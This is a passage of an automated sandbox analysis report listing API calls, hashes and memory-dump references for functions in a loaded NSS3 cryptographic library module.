Part of subcall function 6CBD7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB81CCC,00000000,00000000,?,?), ref: 6CBD729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBECD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CBECE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CBECE2C

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CBECE40

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

Part of subcall function 6CBECEE0: PORT_ArenaMark_Util.NSS3(?,6CBECD93,?), ref: 6CBECEEE
Part of subcall function 6CBECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CBECD93,?), ref: 6CBECEFC
Part of subcall function 6CBECEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CBECD93,?), ref: 6CBECF0B
Part of subcall function 6CBECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CBECD93,?), ref: 6CBECF1D

Part of subcall function 6CBECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF47
Part of subcall function 6CBECEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF67
Part of subcall function 6CBECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CBECD93,?,?,?,?,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF78

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 6deadcc706be5993d841d55e0269193645a313f588c0cce98a27e592ee5e3a69
Instruction ID: 594d20f5b3736f5747dff1dde1150c7a47c7caf22947bea4943d13b60b46b14d
Opcode Fuzzy Hash: 6deadcc706be5993d841d55e0269193645a313f588c0cce98a27e592ee5e3a69
Instruction Fuzzy Hash: A451B0B2A002509FEB10DF69DC40BAA7BE4EF4CB88F250524D815A7B41EB35FD05CB92

Function 6CBFFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CBFFFE5

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC00004
PR_EnterMonitor.NSS3(?), ref: 6CC0001B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 9de87d84f3f64dea73cd82224c5ffa788a8ab576648379cb7d8e335f8ffdd4b1
Instruction ID: 48782c4a3644e0a6fd14fc7aed64d86b197deaec436da8085519357032c76413
Opcode Fuzzy Hash: 9de87d84f3f64dea73cd82224c5ffa788a8ab576648379cb7d8e335f8ffdd4b1
Instruction Fuzzy Hash: ED4156713446809BE7208E29DC517AB72A5EB01309F12053DD45BCAE92F7BBA64AC742

Function 6CBBEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CBBEF38

Part of subcall function 6CBA9520: PK11_IsLoggedIn.NSS3(00000000,?,6CBD379E,?,00000001,?), ref: 6CBA9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CBBEF53

Part of subcall function 6CBC4C20: TlsGetValue.KERNEL32 ref: 6CBC4C4C
Part of subcall function 6CBC4C20: EnterCriticalSection.KERNEL32(?), ref: 6CBC4C60
Part of subcall function 6CBC4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CA1
Part of subcall function 6CBC4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CBE
Part of subcall function 6CBC4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CD2
Part of subcall function 6CBC4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4D3A

PR_GetCurrentThread.NSS3 ref: 6CBBEF9E

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

free.MOZGLUE(00000000), ref: 6CBBEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBBF016
free.MOZGLUE(00000000), ref: 6CBBF022

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: c2c9a501ece5e6d98c010663f0b065b87e455d8ea5ffcb3b1bb57223a0c2be3f
Instruction ID: fde44eeeb63cdb6d7cbf66e826207ccc938e6a9393845e6c856fc18425268009
Opcode Fuzzy Hash: c2c9a501ece5e6d98c010663f0b065b87e455d8ea5ffcb3b1bb57223a0c2be3f
Instruction Fuzzy Hash: 39419375E00249ABDF018FA9DC85BEE7BB9EF48358F004025F914A6360EB71D915CBA1

Function 6CBACF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CBACF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CBAD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CBAD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBAD025
PR_NewLock.NSS3 ref: 6CBAD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBAD074

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 6f2c9a4d3aa0f4b2cd472bf27af2c30e2689190b74d92132aaf6fd6ac14afccd
Instruction ID: 13aed23a9aba8e2c3d264c1a45f2bb48461a8a393f8439d1d8864476048e6294
Opcode Fuzzy Hash: 6f2c9a4d3aa0f4b2cd472bf27af2c30e2689190b74d92132aaf6fd6ac14afccd
Instruction Fuzzy Hash: 0C4109B09053518FDF10DFBAD89038A7BE8EF08318F114169DC598B746E775D48ACB92

Function 6CBF3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBF3FF2

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CBF4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CBF400F

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CBF4054

Part of subcall function 6CB8BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CB8BC24
Part of subcall function 6CB8BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB8BC39
Part of subcall function 6CB8BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CB8BC58
Part of subcall function 6CB8BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CB8BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CBF40CD

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 391cbbab220c7226979588cc8bcf0f9a2cd2205fe7471086ec79f4593f2885e9
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 7831B272E0038197EB009F649D81BBE3368EF9464CF144225ED199B742FB71E9598692

Function 6CB92E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CB82D1A), ref: 6CB92E7E

Part of subcall function 6CBE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB88298,?,?,?,6CB7FCE5,?), ref: 6CBE07BF
Part of subcall function 6CBE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBE07E6
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE081B
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE0825

PR_Now.NSS3 ref: 6CB92EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CB92EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CB82D1A), ref: 6CB92F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CB82D1A), ref: 6CB92F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CB92F81

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: bbfa0ea5de8b7865c948a1e1878c545dbab1e8915f2acc91c77731985ee141e3
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: D9310471D011C087EF10C655DC8CFBE7265EB82318F644579D41A97AD0EB31984ACA53

Function 6CB80E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CB80A2C), ref: 6CB80E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CB80A2C), ref: 6CB80E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CB80A2C), ref: 6CB80E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CB80A2C), ref: 6CB80E90
free.MOZGLUE(00000000), ref: 6CB80EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CB80A2C), ref: 6CB80ED9

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: ec3a0544f4feb9f69d43436c58bebc14d5a17be56e82e71343c8ae2e95425544
Instruction ID: e314bbfe77c58a2847eb7582e90d13c538dc6e6451eba2516e47e666acfa6a3d
Opcode Fuzzy Hash: ec3a0544f4feb9f69d43436c58bebc14d5a17be56e82e71343c8ae2e95425544
Instruction Fuzzy Hash: C6212972E036D55BEB10496ABC85B6B72AEDBC16CBF194035DC1C63A12EB60D81482B3

Function 6CB8AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB8AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CB8AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB8AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CB8AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CCA9500), ref: 6CB8AF23

Part of subcall function 6CBDF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CBDF0C8
Part of subcall function 6CBDF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBDF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8AF37

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 3e950d6828fae84670b0e817833393d2366119fa2562596fe01668a55673300e
Instruction ID: adc8f2bf9252608d6579a9693d53f44fed01e1b91e5680e597f0cef6c761b912
Opcode Fuzzy Hash: 3e950d6828fae84670b0e817833393d2366119fa2562596fe01668a55673300e
Instruction Fuzzy Hash: CA2126B290A240ABEB108F189C01B9A7BA4EF85728F244319FC149B7C1F731D5058BA7

Function 6CC0EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0EE85
realloc.MOZGLUE(531CE5CE,?), ref: 6CC0EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CC0EEC5

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

htonl.WSOCK32(?), ref: 6CC0EEE3
htonl.WSOCK32(00000000,?), ref: 6CC0EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CC0EF01

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 8bbd8a4ce09bc5150a45abe84e20908510f010fd4e91bbc7922c8a9a32f492ae
Instruction ID: b5fc451d87083522d3bb30fe0ab85a5933401141682c75a71100007d12a86ea6
Opcode Fuzzy Hash: 8bbd8a4ce09bc5150a45abe84e20908510f010fd4e91bbc7922c8a9a32f492ae
Instruction Fuzzy Hash: F721E571A002189FDF109F28DC8079AB7A4EF49758F15816DED599B641F731EC14CBE2

Function 6CBBEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBBEE49

Part of subcall function 6CBDFAB0: free.MOZGLUE(?,-00000001,?,?,6CB7F673,00000000,00000000), ref: 6CBDFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBBEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CBBEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CBBEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBBEEB3

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: d1d908cf9d946d2c26f5ed265f1486360b3a5e9aed11b23597f75b9236282408
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 1521D5B6A042906BEB518E58DC81EBF77A8EF45708F0901A4FD04AB751EB71EC1487F1

Function 6CBD5ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CBD5D71), ref: 6CBD5F0A
TlsGetValue.KERNEL32 ref: 6CBD5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CBD5F2F
PR_Unlock.NSS3(890008E8), ref: 6CBD5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CBD5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CBD5F7D

Part of subcall function 6CBD5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CBD5F82,8B4274C0), ref: 6CBD5248
Part of subcall function 6CBD5220: EnterCriticalSection.KERNEL32(0F6CCA0D,?,6CBD5F82,8B4274C0), ref: 6CBD525C
Part of subcall function 6CBD5220: PR_SetError.NSS3(00000000,00000000), ref: 6CBD528E
Part of subcall function 6CBD5220: PR_Unlock.NSS3(0F6CC9F1), ref: 6CBD5299
Part of subcall function 6CBD5220: free.MOZGLUE(00000000), ref: 6CBD52A9

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: ec8b06738f31153b6dd1738a79037a4c50e13c5620b7a3e31c3a3711e7d0b93b
Instruction ID: 2b293395d3a6f0c2ab1217c7051b8a9d1a45bcedb8e8f0240b1c47988d3cd4e9
Opcode Fuzzy Hash: ec8b06738f31153b6dd1738a79037a4c50e13c5620b7a3e31c3a3711e7d0b93b
Instruction Fuzzy Hash: 0821B4F1D006449FDB109F68EC41AEEB7B4EF19308F554029E906A7701FB31A958CBD2

Function 6CB87F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB87F68

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CB87F7B

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB87FA7

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CCA919C,?), ref: 6CB87FBB

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

